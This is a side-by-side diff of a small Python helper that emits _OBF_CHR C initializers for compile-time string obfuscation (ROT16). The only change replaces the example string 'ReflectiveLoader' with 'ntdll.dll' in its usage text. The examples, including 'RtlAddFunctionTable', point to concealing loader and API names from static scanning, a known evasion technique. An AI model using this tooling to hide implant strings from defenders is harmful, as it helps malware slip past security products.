Generate _OBF_CHR sequences for compile-time string obfuscation (ROT16). Generate _OBF_CHR sequences for compile-time string obfuscation (ROT16).
Usage: Usage:
python scripts/obfuscate-strings.py ReflectiveLoader python scripts/obfuscate-strings.py "ntdll.dll"
python scripts/obfuscate-strings.py "ntdll.dll" "RtlAddFunctionTable" python scripts/obfuscate-strings.py "ntdll.dll" "RtlAddFunctionTable"
Outputs a C array initializer using _OBF_CHR() for each character. Outputs a C array initializer using _OBF_CHR() for each character.
@@ -23,7 +23,7 @@ def obfuscate(s):
def main(): def main():
if len(sys.argv) < 2: if len(sys.argv) < 2:
print("Usage: python obfuscate-strings.py STRING [STRING...]", file=sys.stderr) print("Usage: python obfuscate-strings.py STRING [STRING...]", file=sys.stderr)
print("Example: python obfuscate-strings.py ReflectiveLoader", file=sys.stderr) print("Example: python scripts/obfuscate-strings.py \"ntdll.dll\"", file=sys.stderr)
sys.exit(1) sys.exit(1)
for arg in sys.argv[1:]: for arg in sys.argv[1:]: